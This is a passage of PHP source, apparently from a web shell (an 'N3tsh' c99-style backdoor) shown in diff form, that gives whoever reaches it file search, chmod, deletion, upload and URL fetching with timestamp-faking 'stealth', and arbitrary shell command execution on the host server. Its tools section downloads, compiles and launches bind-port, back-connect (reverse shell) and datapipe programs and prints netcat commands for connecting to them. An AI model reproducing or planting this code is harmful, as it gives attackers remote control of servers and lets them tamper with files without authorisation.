name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {N3tfsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> + +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive + +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> + +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); N3t_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); N3t_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} N3t_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); N3t_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + N3t_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + N3t_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + N3t_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; N3tshexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "N3tsh_bindport.pl"=>array("Using PERL","perl %path %port"), + "N3tsh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "N3tsh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "N3tsh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "N3tsh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "N3tsh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = N3tgetsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = N3tgetsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = N3tgetsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> + +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; 